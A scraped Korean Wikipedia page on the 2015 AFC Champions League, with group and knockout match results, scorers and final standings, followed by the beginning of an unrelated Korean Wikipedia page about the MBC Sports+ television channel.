나사프 카르시 라세드 경기장 관중수: 3,121 심판: 모하나드 카심 리포트 2015년 3월 18일 20:20 (UTC+03) 알아흘리 2 : 0 트락토르 사지 킹 압둘라 스포츠 시티 관중수: 45,482 심판: 아흐메드 알카프 알자심  72', 80' 리포트 2015년 4월 7일 16:00 (UTC+04:30) 트락토르 사지 2 : 2 알아흘리 아데가르 에맘 스타디움 관중수: 32,500 심판: 사토 류지 에지뉴  60' 세게비  77' 리포트 알소마  74', 90' 2015년 4월 7일 19:00 (UTC+05) 나사프 카르시 0 : 1 알아흘리 카르시 경기장 관중수: 15,500 심판: 김종혁 리포트 이베르통 히베이루  81' 2015년 4월 21일 18:00 (UTC+04:30) 트락토르 사지 1 : 2 나사프 카르시 아데가르 에맘 스타디움 관중수: 15,000 심판: 무하마드 타키 알리아파리 빈 자하리 키아니  52' 리포트 게보르키안  59', 71' 2015년 4월 21일 20:30 (UTC+03) 알아흘리 2 : 1 알아흘리 킹 압둘라 스포츠 시티 관중수: 15,842 심판: 압둘라 발리데 아부 라데아  78' 브루누 세자르  90+4' 리포트 이베르통 히베이루  16' 2015년 5월 5일 19:40 (UTC+04) 알아흘리 3 : 2 트락토르 사지 라세드 경기장 관중수: 3,540 심판: 김동진 2015년 5월 5일 20:00 (UTC+05) 나사프 카르시 0 : 0 알아흘리 카르시 경기장 관중수: 16,000 심판: 도마 마사아키 E조[편집] 팀 경기 승 무 패 득 실 차 승점 가시와 레이솔 6 3 2 1 14 9 +5 11 전북 현대 모터스 6 3 2 1 14 6 +8 11 산둥 루넝 6 2 1 3 13 17 -4 7 빈즈엉 6 1 1 4 6 15 -9 4   전북 현대 모터스 — 4 : 1 3 : 0 0 : 0 산둥 루넝 1 : 4 — 3 : 1 4 : 4 빈즈엉 FC 1 : 1 2 : 3 — 1 : 0 가시와 레이솔 3 : 2 2 : 1 1 : 0 — 2015년 2월 24일 19:00 (UTC+09) 전북 현대 모터스 0 : 0 가시와 레이솔 전주월드컵경기장 관중수: 13,422 심판: 크리스 베스 리포트 2015년 2월 24일 18:00 (UTC+07) 빈즈엉 FC 2 : 3 산둥 루넝 빈즈엉 경기장 관중수: 8,913 심판: 벤 윌리엄스 오세니  48' 왕창  56' (o.g) 리포트 왕융포  47' 양쉬  60', 81' 2015년 3월 3일 15:30 (UTC+08) 산둥 루넝 1 : 4 전북 현대 모터스 지난 올림픽 스포츠 센터 관중수: 27,386 심판: 모함메드 압둘라 하산 양쉬  61' 리포트 에두  21' 한교원  71' 이재성  75' 레오나르두  90+3' 2015년 3월 3일 19:00 (UTC+09) 가시와 레이솔 5 : 1 빈즈엉 FC 히타치 가시와 축구장 관중수: 5,694 심판: 파하드 알마리 구도  42', 67' 브란코비치  44' (o.g) 김창수  56' 오타니 히데카즈  75' 리포트 오세니  82' 2015년 3월 17일 19:00 (UTC+09) 전북 현대 모터스 3 : 0 빈즈엉 전주월드컵경기장 관중수: 6,704 심판: 압둘라 발루시 이니뉴  16' 이동국  41', 86' 리포트 2015년 3월 17일 19:00 (UTC+09) 가시와 레이솔 2 : 1 산둥 루넝 히타치 가시와 축구장 관중수: 7,657 심판: 랍샨 이르마토프 다케토미  23' 와코  90+2' 리포트 몬티요  51' 2015년 4월 8일 18:00 (UTC+07) 빈즈엉 FC 1 : 1 전북 현대 모터스 빈즈엉 경기장 관중수: 4,000 심판: 재레드 길레트 디엥  90' 리포트 이니뉴  29' 2015년 4월 8일 19:00 (UTC+08) 산둥 루넝 4 : 4 가시와 레이솔 지난 올림픽 스포츠 센터 관중수: 21,631 심판: 알리레자 파가니 왕융포  4' 주니오르 우르수  34' 몬티요  37' 양쉬  49' 리포트 레안드루  23' 다케토미  29' 크리스치아누  32', 82' 2015년 4월 22일 19:00 (UTC+09) 가시와 레이솔 3 : 2 전북 현대 모터스 히타치 가시와 축구장 관중수: 7,424 심판: 나와프 슈크랄라 에두아르두 9' 다케토미  19', 38' 리포트 이동국  66', 80' 2015년 4월 22일 19:00 (UTC+08) 산둥 루넝 3 : 1 빈즈엉 FC 지난 올림픽 스포츠 센터 관중수: 12,566 심판: 암마르 알제네이비 양쉬  27', 70' 주니오르 우르수  61' 리포트 응우옌쫑호앙  19' 2015년 5월 6일 19:00 (UTC+09) 전북 현대 모터스 4 : 1 산둥 루넝 전주월드컵경기장 관중수: 11,131명 심판: 헤티캄카남게 페레라 이재성  25' 김형일  51' 이니뉴  80' (pen.) 에두  88' 리포트 왕통  45+1' 2015년 5월 6일 18:00 (UTC+07) 빈즈엉 FC 1 : 0 가시와 레이솔 빈즈엉 경기장 관중수: 4,600명 심판: 파하드 알미르다시 레꽁빈  56' 리포트 F조[편집] 팀 경기 승 무 패 득 실 차 승점 감바 오사카 6 3 1 2 10 7 +3 10 성남 FC 6 3 1 2 7 5 +2 10 부리람 유나이티드 6 3 1 2 12 7 +5 10 광저우 푸리 6 1 1 4 3 13 -10 4   감바 오사카 — 2 : 1 1 : 1 0 : 2 성남 FC 2 : 0 — 2 : 1 0 : 0 부리람 유나이티드 1 : 2 2 : 1 — 5 : 0 광저우 푸리 0 : 5 0 : 1 1 : 2 — 2015년 2월 24일 19:00 (UTC+09) 감바 오사카 0 : 2 광저우 푸리 엑스포 70' 스타디움 관중수: 8,848 심판: 모센 토르키 리포트 함달라  10' 왕송  80' 2015년 2월 24일 18:00 (UTC+07) 부리람 유나이티드 2 : 1 성남 FC 뉴아이모바일 스타디움 관중수: 8,959 심판: 압둘라 하산 모하메드 프라킷  17' 마세나  19' 리포트 나루바딘  88' (o.g) 2015년 3월 3일 19:30 (UTC+09) 성남 FC 2 : 0 감바 오사카 탄천종합운동장 관중수: 7,813 심판: 랍샨 이르마토프 히카르두 부에누  8' (pen.) 황의조  68' 리포트 2015년 3월 3일 19:30 (UTC+8) 광저우 푸리 1 : 2 부리람 유나이티드 웨슈산 체육장 관중수: 9,308 심판: 모흐드 아미룰 이즈완 야콥 뤼린  27' 리포트 고슬기  44' 마세나  90' 2015년 3월 17일 19:30 (UTC+8) 광저우 푸리 0 : 1 성남 FC 웨슈산 체육장 관중수: 8,638 심판: 파하드 알마리 리포트 황의조  27' 2015년 3월 18일 19:00 (UTC+09) 감바 오사카 1 : 1 부리람 유나이티드 엑스포 70' 스타디움 관중수: 6,469 심판: 알리레자 파가니 아베  39' 리포트 티라톤  62' 2015년 4월 7일 18:00 (UTC+07) 부리람 유나이티드 1 : 2 감바 오사카 뉴아이모바일 스타디움 관중수: 23,987 심판: 아흐메드 알카프 티라톤  9' 리포트 린스  41' 오모리  87' 2015년 4월 7일 19:30 (UTC+09) 성남 FC 0 : 0 광저우 푸리 탄천종합운동장 관중수: 5,777 심판: 나와프 슈크랄라 리포트 2015년 4월 22일 19:30 (UTC+09) 성남 FC 2 : 1 부리람 유나이티드 탄천종합운동장 관중수: 3,762 심판: 파하드 알미르다시 김두현  27' (pen.) 남준재  36' 리포트 지오구  77' 2015년 4월 22일 19:30 (UTC+08) 광저우 푸리 0 : 5 감바 오사카 웨슈산 체육장 관중수: 8,647 심판: 아드함 마카드메 리포트 파트리크  14', 45' 아베  44', 68' 우사미  70' 2015년 5월 6일 19:00 (UTC+09) 감바 오사카 2 : 1 성남 FC 엑스포 70' 스타디움 관중수: 12,821명 심판: 모함메드 압둘라 하산 우사미  64' 린스  82' 리포트 황의조  15' 2015년 5월 6일 18:00 (UTC+07) 부리람 유나이티드 5 : 0 광저우 푸리 뉴아이모바일 스타디움 관중수: 17,331명 심판: 암마르 알제네이비 지오구  12', 38', 56' 투네즈  36' 마세나  59' 리포트 G조[편집] 팀 경기 승 무 패 득 실 차 승점 베이징 궈안 6 3 2 1 6 3 +3 11 수원 삼성 블루윙즈 6 3 2 1 11 8 +3 11 브리즈번 로어 6 2 1 3 7 9 -2 7 우라와 레즈 6 1 1 4 5 9 -4 4   브리즈번 로어 — 1 : 2 3 : 3 0 : 1 우라와 레즈 0 : 1 — 1 : 2 1 : 1 수원 삼성 블루윙즈 3 : 1 2 : 1 — 1 : 1 베이징 궈안 0 : 1 2 : 0 1 : 0 — 2015년 2월 25일 19:30 (UTC+10) 브리즈번 로어 0 : 1 베이징 궈안 선콥 스타디움 관중수: 6,851 심판: 아흐메드 알카프 리포트 사오자이  90+2' 2015년 2월 25일 19:30 (UTC+09) 수원 삼성 블루윙즈 2 : 1 우라와 레즈 수원월드컵경기장 관중수: 13,846 심판: 암마르 알제네이비 오범석  56' 레오  87' 리포트 모리와키  45+1' 2015년 3월 4일 19:30 (UTC+8) 베이징 궈안 1 : 0 수원 삼성 블루윙즈 노동자 경기장 관중수: 35,567 심판: 헤티캄카남게 페레라 다먀노비치  65' 리포트 2015년 3월 4일 19:30 (UTC+09) 우라와 레즈 0 : 1 브리즈번 로어 사이타마 스타디움 2002 관중수: 13,527 심판: 일기즈 탄타셰프 리포트 보렐로  3' 2015년 3월 17일 19:30 (UTC+8) 베이징 궈안 2 : 0 우라와 레즈 노동자 경기장 관중수: 38,355 심판: 모함메드 압둘라 하산 바타야  13' 위다바오  22' 리포트 2015년 3월 18일 19:00 (UTC+11) 브리즈번 로어 3 : 3 수원 삼성 블루윙즈 선콥 스타디움 관중수: 5,197 심판: 파하드 알미르다시 보렐로  13' 클럿  22', 80' 리포트 서정진  39', 50' 정대세  71' 2015년 4월 8일 19:30 (UTC+09) 수원 삼성 블루윙즈 3 : 1 브리즈번 로어 수원월드컵경기장 관중수: 6,771 심판: 압둘라만 알자심 권창훈  50' 서정진  58' 염기훈  63' 리포트 드베어  75' 2015년 4월 8일 19:30 (UTC+09) 우라와 레즈 1 : 1 베이징 궈안 사이타마 스타디움 2002 관중수: 13,683 심판: 압둘라 발리데 마키노  74' 리포트 위다바오  33' 2015년 4월 21일 19:30 (UTC+09) 우라와 레즈 1 : 2 수원 삼성 블루윙즈 사이타마 스타디움 2002 관중수: 13,924 심판: 아흐메드 알카프 류비얀키치  68' 리포트 고차원  74' 카이우  88' 2015년 4월 21일 19:30 (UTC+08) 베이징 궈안 0 : 1 브리즈번 로어 노동자 경기장 관중수: 35,578 심판: 발렌틴 코발렌코 리포트 칼루제로비치  39' 2015년 5월 5일 16:00 (UTC+09) 브리즈번 로어 1 : 2 우라와 레즈 선콥 스타디움 관중수: 5,941명 심판: 알리레자 파가니 칼루제로비치  70' 리포트 고로키  24' 무토  57' 2015년 5월 5일 19:30 (UTC+10) 수원 삼성 블루윙즈 1 : 1 베이징 궈안 수원월드컵경기장 관중수: 14,380명 심판: 랍샨 이르마토프 레우  27' 리포트 다먀노비치  25' H조[편집] 팀 경기 승 무 패 득 실 차 승점 광저우 헝다 6 3 1 2 9 9 0 10 FC 서울 6 2 3 1 5 4 +1 9 웨스턴 시드니 6 2 2 2 9 7 +2 8 가시마 앤틀러스 6 2 0 4 10 13 -3 6   광저우 헝다 — 0 : 2 4 : 3 1 : 0 웨스턴 시드니 2 : 3 — 1 : 2 1 : 1 가시마 앤틀러스 2 : 1 1 : 3 — 2 : 3 FC 서울 0 : 0 0 : 0 1 : 0 — 2015년 2월 25일 19:00 (UTC+09) 가시마 앤틀러스 1 : 3 웨스턴 시드니 가시마 스타디움 관중수: 7,736 심판: 파하드 알미르다시 도이  68' 리포트 쇼지  54' (o.g) 다카하기  85' 브릿지  90+3' 2015년 2월 25일 20:00 (UTC+08) 광저우 헝다 1 : 0 FC 서울 텐허 스타디움 관중수: 46,749 심판: 모하나드 카심 이르시 사라이 히카르두 골라르트  31' 리포트 2015년 3월 4일 19:30 (UTC+09) FC 서울 1 : 0 가시마 앤틀러스 서울월드컵경기장 관중수: 5,790 심판: 알리레자 파가니 김진규  61' 리포트 2015년 3월 4일 19:30 (UTC+11) 웨스턴 시드니 2 : 3 광저우 헝다 패러매타 스타디움 관중수: 11,418 심판: 나고르 아미르 누르 모하메드 라 로카  57' 카스텔렌  90+5' 리포트 골라르트  19', 58', 64' 2015년 3월 18일 19:30 (UTC+09) FC 서울 0 : 0 웨스턴 시드니 서울월드컵경기장 관중수: 5,645 심판: 암마르 알제네이비 리포트 2015년 3월 18일 20:00 (UTC+08) 광저우 헝다 4 : 3 가시마 앤틀러스 텐허 스타디움 관중수: 48,651 심판: 모흐드 아미룰 이즈완 야콥 골라르트  10', 62' 이우케종  57' 자오쉬리  90+2' 리포트 다카사키  36' 도이  51' 시바사키  90+3' 2015년 4월 7일 19:30 (UTC+10) 웨스턴 시드니 1 : 1 FC 서울 패러매타 스타디움 관중수: 7,073 심판: 발렌틴 코발렌코 불루트  12' 리포트 고요한  72' 2015년 4월 7일 19:00 (UTC+09) 가시마 앤틀러스 2 : 1 광저우 헝다 가시마 스타디움 관중수: 7,033 심판: 암마르 알제네이비 엔도  19' (pen.) 다카사키  90+3' 리포트 이우케종  75' 2015년 4월 21일 19:30 (UTC+10) 웨스턴 시드니 1 : 2 가시마 앤틀러스 패러매타 스타디움 관중수: 5,221 심판: 카미스 알마리 루카비츠야  24' 리포트 도이  66' (pen.) 가나자키  90+1' 2015년 4월 21일 19:30 (UTC+09) FC 서울 0 : 0 광저우 헝다 서울월드컵경기장 관중수: 17,157 심판: 압둘라만 알자심 리포트 2015년 5월 5일 20:00 (UTC+08) 광저우 헝다 0 : 2 웨스턴 시드니 텐허 스타디움 관중수: 35,641명 심판: 나와프 슈크랄라 리포트 브릿지  33' 유리치  90+3' 2015년 5월 5일 15:00 (UTC+09) 가시마 앤틀러스 2 : 3 FC 서울 가시마 스타디움 관중수: 19,233명 심판: 압둘라 알힐랄리 아카사키  8' 시바사키  79' 리포트 이웅희  36' 오스마르  51' 몰리나  90+1' 결선 토너먼트[편집] 16강전[편집] 16강전은 조별 예선의 결과에 따라 각 조 1위와 다른 조 2위와 각각 맞붙으며 각 조 2위의 홈에서 1차전이 치러지고 각 조 1위의 홈에서 2차전이 치러진다. 팀 1 결과 팀 2 1차전 2차전 서아시아 알사드 3 : 4 레크위야 1 : 2 2 : 2 페르세폴리스 1 : 3 알힐랄 1 : 0 0 : 3 알아흘리 3 : 3 (a) 알아인 0 : 0 3 : 3 나프트 테헤란 2 : 2 (a) 알아흘리 1 : 0 1 : 2 동아시아 수원 삼성 블루윙즈 4 : 4 (a) 가시와 레이솔 2 : 3 2 : 1 전북 현대 모터스 2 : 1 베이징 궈안 1 : 1 1 : 0 FC 서울 3 : 6 감바 오사카 1 : 3 2 : 3 성남 FC 2 : 3 광저우 헝다 2 : 1 0 : 2 1경기[편집] 2015년 5월 19일 19:15 (UTC+03) 알사드 1 : 2 레크위야 자심 빈 하마드 스타디움, 도하 관중수: 4,682명 심판: 랍샨 이르마토프 알하이도스  37' 리포트 소리아  12'므사크니  36' 2015년 5월 26일 19:00 (UTC+03) 레크위야 2 : 2 알사드 압둘라 빈 할리파 경기장, 도하 관중수: 4,241명 심판: 도마 마사아키 므사크니  13'모하마드  83' 리포트 무리키  36'아사달라  63' 2경기[편집] 2015년 5월 19일 19:30 (UTC+04:30) 페르세폴리스 1 : 0 알힐랄 아자디 스타디움, 테헤란 관중수: 100,000명 심판: 나고르 아미르 누르 모하메드 디가오  90+2' (o.g) 리포트 2015년 5월 26일 21:05 (UTC+03) 알힐랄 3 : 0 페르세폴리스 킹 파드 국립 경기장, 리야드 관중수: 23,590명 심판: 발렌틴 코발렌코 알살렘  29'알샬후브  57' (pen.)알도사리  90+1' 리포트 3경기[편집] 2015년 5월 20일 19:45 (UTC+04) 알아흘리 0 : 0 알아인 라세드 경기장, 두바이 관중수: 8,900명 심판: 고형진 리포트 2015년 5월 27일 19:50 (UTC+04) 알아인 3 : 3 알아흘리 하자빈 자예드 스타디움, 알아인 관중수: 14,270명 심판: 모하나드 카림 에시 샤라이 잔  5', 78'에이사  90' 리포트 카미스  51'칼릴  53', 56' 4경기[편집] 2015년 5월 20일 20:00 (UTC+04:30) 나프트 테헤란 1 : 0 알아흘리 아자디 스타디움, 테헤란 관중수: 13,370명 심판: 야마모토 유다이 레자에이  34' 리포트 2015년 5월 27일 20:45 (UTC+03) 알아흘리 2 : 1 나프트 테헤란 킹 압둘라 스포츠 시티 경기장, 지다 관중수: 35,488명 심판: 김동진 알소마  36', 42' 리포트 파도바니  31' 5경기[편집] 2015년 5월 19일 19:30 (UTC+09) 수원 삼성 블루윙즈 2 : 3 가시와 레이솔 수원월드컵경기장, 수원 관중수: 6,164명 심판: 암마르 알제네이비 염기훈  1'정대세  59' 리포트 바라다  12'레안드루  29' (pen.), 56' 2015년 5월 26일 19:00 (UTC+09) 가시와 레이솔 1 : 2 수원 삼성 블루윙즈 히타치 가시와 축구장, 가시와 관중수: 9,142명 심판: 나와프 슈크랄라 고바야시  65' 리포트 정대세  26'구자룡  54' 6경기[편집] 2015년 5월 19일 19:00 (UTC+09) 전북 현대 모터스 1 : 1 베이징 궈안 전주월드컵경기장, 전주 관중수: 12,409명 심판: 발렌틴 코발렌코 김기희  13' 리포트 바타야  85' (pen.) 2015년 5월 26일 19:30 (UTC+08) 베이징 궈안 0 : 1 전북 현대 모터스 베이징 공인체육장, 베이징 관중수: 43,526명 심판: 모함메드 압둘라 하산 리포트 에두  72' 7경기[편집] 2015년 5월 20일 19:30 (UTC+09) FC 서울 1 : 3 감바 오사카 서울월드컵경기장, 서울 관중수: 10,607명 심판: 모하나드 카심 윤주태  90+2' 리포트 우사미  63', 86' 요네쿠라  74' 2015년 5월 27일 19:00 (UTC+09) 감바 오사카 3 : 2 FC 서울 엑스포 70' 스타디움, 스이타 관중수: 9,597명 심판: 알리레자 파가니 파트리크  16' 구라타  45' 린스  86' 리포트 윤주태  58', 90+2' 8경기[편집] 2015년 5월 10일 19:30 (UTC+09) 성남 FC 2 : 1 광저우 헝다 탄천종합운동장, 성남 관중수: 13,792명 심판: 모센 토르키 조르지뉴  23' 김두현  90+5' (pen.) 리포트 황보원  42' 2015년 5월 27일 20:00 (UTC+08) 광저우 헝다 2 : 0 성남 FC 텐허 스타디움, 광저우 관중수: 48,761명 심판: 랍샨 이르마토프 골라르트  27' (pen.), 57' 리포트 8강전[편집] 팀 1 결과 팀 2 1차전 2차전 서아시아 알힐랄 6 : 3 레크위야 4 : 1 2 : 2 나프트 테헤란 1 : 3 알아흘리 0 : 1 1 : 2 동아시아 가시와 레이솔 2 : 4 광저우 헝다 1 : 3 1 : 1 전북 현대 모터스 2 : 3 감바 오사카 0 : 0 2 : 3 1경기[편집] 2015년 8월 25일 20:50 UTC+3 알힐랄 4 : 1 레크위야 킹 파드 국립 경기장, 리야드 관중수: 1,190명 심판: 벤 윌리엄스 아이우통  11' 알카에비  34' 카를루스 에두아르두  36', 86' 리포트 므사크니  17' 2015년 9월 15일 19:00 UTC+3 레크위야 2 : 2 알힐랄 압둘라 빈 할리파 경기장, 도하 관중수: 5,439명 심판: 사토 류지 이스마일 모하마드  45+2' 치코  72' 리포트 카를루스 에두아르두  26' 지강  87' 2경기[편집] 2015년 8월 25일 19:00 UTC+4:30 나프트 테헤란 0 : 1 알아흘리 아자디 스타디움, 테헤란 관중수: 23,300명 심판: 도조 미노루 리포트 리마  62' 2015년 9월 16일 20:25 UTC+4 알아흘리 2 : 1 나프트 테헤란 라세드 경기장, 두바이 관중수: 9,353명 심판: 김종혁 리마  26' 칼릴  47' 리포트 아미리  50' 3경기[편집] 2015년 8월 26일 19:00 UTC+9 가시와 레이솔 1 : 3 광저우 헝다 히타치 가시와 축구장, 가시와 관중수: 14,030명 심판: 파하드 알미르다시 구도  89' 리포트 스즈키  5' (o.g.) 파울리뉴  40' 가오린  58' 2015년 9월 15일 20:00 UTC+8 광저우 헝다 1 : 1 가시와 레이솔 텐허 스타디움, 광저우 관중수: 48,643명 심판: 알리레자 파가니 황보원  30' 리포트 크리스치아누  12' 4경기[편집] 2015년 8월 26일 19:00 UTC+9 전북 현대 모터스 0 : 0 감바 오사카 전주월드컵경기장, 전주 관중수: 23,633명 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 9월 16일 19:00 UTC+9 감바 오사카 3 : 2 전북 현대 모터스 엑스포 70' 스타디움, 스이타 관중수: 9,284명 심판: 모함메드 압둘라 하산 파트리크  14' 구라타  76' 요네쿠라  90+3' 리포트 레오나르두  13' (페널티킥) 베라  89' 준결승전[편집] 팀 1 결과 팀 2 1차전 2차전 서아시아 알힐랄 3 : 4 알아흘리 1 : 1 2 : 3 동아시아 광저우 헝다 2 : 1 감바 오사카 2 : 1 0 : 0 1경기[편집] 2015년 9월 29일 20:15 UTC+3 알힐랄 1 : 1 알아흘리 킹 파드 국립 경기장, 리야드 관중수: 53,268명 심판: 발렌틴 코발렌코 아이우통  82' 리포트 호드리구 리마  57' 2015년 10월 20일 알아흘리 3 : 2 알힐랄 라세드 경기장, 두바이 관중수: 9,800명 심판: 나와프 슈크랄라 리포트 2경기[편집] 2015년 9월 30일 20:00 UTC+8 광저우 헝다 2 : 1 감바 오사카 텐허 스타디움, 광저우 관중수: 48,946명 심판: 나와프 슈크랄라 황보원  35'정즈  57' 리포트 펑샤오팅  12' (o.g.) 2015년 10월 21일 19:00 UTC+9 감바 오사카 0 : 0 광저우 헝다 만박기념경기장, 스이타 관중수: 17,310명 심판: 크리스 베스 리포트 결승전[편집] 이 부분의 본문은 AFC 챔피언스리그 2015 결승전입니다. 팀 1 결과 팀 2 1차전 2차전 알아흘리 0 : 1 광저우 헝다 0 : 0 0 : 1 2015년 11월 7일 19:45 UTC+4 알아흘리 0 : 0 광저우 헝다 라세드 경기장, 두바이 관중수: 9,480명 심판: 김종혁 리포트 2015년 11월 21일 20:00 UTC+8 광저우 헝다 1 : 0 알아흘리 텐허 스타디움, 광저우 관중수: 42,499명 심판: 랍샨 이르마토프 이우케종  54' 우승[편집] AFC 챔피언스리그2015 우승 광저우 헝다 타오바오2번째 우승 득점 선수[편집] 순위 이름 소속팀 조별 리그 16강 8강 4강 결승 총득점 1 2 3 4 5 6 1 2 1 2 1 2 1 2 1 히카르두 골라르트 광저우 헝다 타오바오 1 3 2 2 8 2 양쉬 산둥 루넝 2 1 1 2 6 아흐메드 칼릴 알아흘리 1 2 2 1 6 3 오마르 알소마 일아흘리 1 2 2 5 아사모아 잔 알아인 1 1 1 2 5 유세프 므사크니 레크위야 1 1 1 1 1 5 7 이동국 전북 현대 모터스 2 2 4 우사미 다카시 감바 오사카 1 1 2 4 구도 마사토 가시와 레이솔 2 1 1 4 지오구 부리람 유나이티드 1 3 4 파트릭 감바 오사카 2 1 1 4 카를루스 에두아르두 알힐랄 2 1 1 4 리마 알아흘리 1 1 1 1 4 이베르통 히베이루 알아흘리 1 1 1 1 4 플레이오프의 득점은 포함되지 않았다. 최종 순위[편집] 순위 팀 경기수 승 무 패 득 실 득실차 승점 1 광저우 헝다 타오바오 14 7 4 3 19 14 5 28 2 알아흘리 14 5 6 3 18 16 2 21 3 알힐랄 12 6 3 3 21 12 9 21 4 감바 오사카 12 6 3 3 20 14 6 21 5 레크위야 10 5 3 2 16 14 2 18 6 전북현대 10 4 4 2 18 10 8 15 7 가시와 레이솔 10 4 3 3 20 17 3 15 8 나프트 테헤란 10 3 2 5 11 13 -2 14 9 페르세폴리스 8 5 0 3 8 10 -2 15 10 수원 삼성 블루윙스 8 4 4 2 15 12 3 16 11 알아인 8 3 5 0 10 5 5 20 12 FC서울 8 3 5 2 9 8 1 20 13 알아흘리 8 3 3 2 13 9 4 12 14 베이징 궈안 8 3 3 2 7 5 2 12 15 알사드 8 3 2 3 12 13 -1 11 16 성남FC 8 3 1 4 10 10 0 13 17 부리람 유나이티드 6 3 1 2 12 7 5 10 18 웨스턴 시드니 원더러스 6 2 2 2 9 7 2 8 19 알나스르 6 2 2 2 7 5 2 8 20 나사프 카르시 6 2 2 2 5 5 0 8 21 산둥 루넝 6 2 1 3 13 17 -4 7 22 브리즈번 로어 6 2 1 3 7 9 -2 7 23 가시마 앤틀러스 6 2 0 4 10 13 -3 6 24 풀라드 FC 6 1 3 2 2 4 -2 6 25 로코모티프 타슈켄트 6 1 1 4 10 13 -3 4 26 트락토르 사지 6 1 1 4 7 11 -4 4 27 우라와 레즈 6 1 1 4 5 9 -4 4 28 빈즈엉 FC 6 1 1 4 6 15 -9 4 29 광저우 푸리 6 1 1 4 3 13 -10 4 30 파흐타코르 타슈켄트 6 1 3 2 6 8 -2 6 31 알샤바브 6 1 2 3 5 8 -3 5 32 부뇨드코르 6 0 1 5 2 7 -5 1 같이 보기[편집] AFC컵 2015 각주[편집] ↑ 가 나 “AFC MA Ranking as at 3 November 2014” (PDF). AFC.  ↑ AFC. “AFC Calendar of Competitions 2015” (PDF).  외부 링크[편집] 공식 홈페이지 vdehAFC 챔피언스리그 시즌아시안 챔피언 클럽 토너먼트(1967-1971)시즌 1967 1969 1970 1971 결승전 1967 1969 1970 1971 아시안 클럽 챔피언십(1985-2002)시즌 1985-86 1986 1987 1988-89 1989-90 1990-91 1991 1992-93 1993-94 1994-95 1995 1996-97 1997-98 1998-99 1999-2000 2000-01 2001-02 결승전 1985-86 1986 1987 1988-89 1989-90 1990-91 1991 1992-93 1993-94 1994-95 1995 1996-97 1997-98 1998-99 1999-2000 2000-01 2001-02 AFC 챔피언스리그(2002-현재)시즌 2002-03 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 결승전 2002-03 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 vdehAFC 챔피언스리그 20152008 | 2009 | 2010 | 2011 | 2012 | 2013 | 2014 | 2015 | 2016 | 2017 | 2018 | 2019우승 광저우 헝다준우승 알아흘리4강 알힐랄 · 감바 오사카8강 전북 현대 모터스 · 나프트 테헤란 · 가시와 레이솔 · 레크위야16강 수원 삼성 블루윙즈 · 성남 FC · FC 서울 · 알아흘리 · 페르세폴리스 · 알아인 · 베이징 궈안 · 알사드조별 예선 알나스르 · 알샤바브 · 풀라드 · 트락토르 사지 · 우라와 레즈 · 가시마 앤틀러스 · 파흐타코르 타슈켄트 · 로코모티프 타슈켄트 · 나사프 카르시 · 부뇨드코르 · 브리즈번 로어 · 웨스턴 시드니 원더러스 · 산둥 루넝 · 광저우 푸리 · 부리람 유나이티드 · 빈즈엉 FC플레이오프 센트럴코스트 매리너스 · 알자지라 · 알와흐다 · 엘자이시 · 카디시야 · 알웨흐다트 · 촌부리 · 방콕 글라스 · 알나흐다 · 하노이 T&T · 리파 · 페르십 반둥 · 킷치 · 야다나본 · 조호르 다룰 탁짐 · 벵갈루루 · 워리어스 원본 주소 "https://ko.wikipedia.org/w/index.php?title=AFC_챔피언스리그_2015&oldid=24403485" 분류: AFC 챔피언스리그 시즌2015년 축구 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةDeutschEnglishEspañolفارسیFrançaisBahasa IndonesiaItaliano日本語QaraqalpaqshaBahasa MelayuNederlandsPortuguêsРусскийSvenskaไทยOʻzbekcha/ўзбекча中文粵語 링크 편집 이 문서는 2019년 6월 9일 (일) 23:04에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
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(MBC 스포츠+에서 넘어옴) 둘러보기로 가기 검색하러 가기 MBC 스포츠플러스 영문표기 MBC SPORTS+ 형태 MBC의 출자 회사 개국일 MBC 스포츠채널 : 2001년 4월 2일MBC ESPN : 2001년 11월 1일MBC SPORTS+ : 2010년 8월 1일 폐국일 MBC 스포츠채널 : 2001년 10월 31일MBC ESPN : 2010년 7월 31일 본사 경기도 고양시 일산동구 호수로 596(장항동 MBC드림센터) 모기업 MBC - MBC 플러스 슬로건 No.1 Channel IN Sports 웹사이트 MBC 스포츠+ 공식 홈페이지 MBC 스포츠플러스(엠비씨 스포츠플러스, 영어: MBC SPORTSPLUS)는 스포츠, 예능 프로그램 등을 주로 편성하는 MBC 플러스 계열사의 텔레비전 채널이다. 2001년 미국의 ESPN STAR SPORTS사와 공동 설립하면서 "MBC ESPN"란 이름을 사용하였다가, 합작 계약을 끝낸 후 2010년 8월 1일부터 현재의 이름으로 변경되었다[1]. 2007년 1월 15일부터 HD 방송을 시작하였다.[2] 2014년 3월 MBC 에브리원을 대신하여 지상파 DMB 송출을 시작했지만 2년만에 송출을 중단하고 다시 MBC 에브리원 DMB 채널로 전환된다. 목차 1 소속 아나운서 1.1 MBC PLUS 소속 아나운서 1.2 소속 해설위원 1.3 기타 분류 2 주요 프로그램 3 같이 보기 4 각주 5 외부 링크 소속 아나운서[편집] MBC PLUS 소속 아나운서[편집] 한명재 김선신 김수환 박지영 손우주 신승대 정병문 정용검 이정호 김민준 정순주 유대현 한장희 정새미나 최은지 김희주 한재웅 이유빈 소속 해설위원[편집] KBO : 허구연, 양준혁, 박재홍, 정민철, 심재학 , 이상훈 MLB : 허구연, 송재우, 김형준, 김선우, 유선우, 박승현, 손건영, 한승훈, 김병현 아마추어 야구 : 한만정 축구 : 이상윤, 서형욱, 이주헌, 박건하, 송종국 농구 : 김승현, 김태환, 김동광, 최연길, 김일두, 박건영 격투기 : 이동기, 천창욱 육상 : 윤여춘 당구 : 김현석, 오성규 NFL : 손건영, 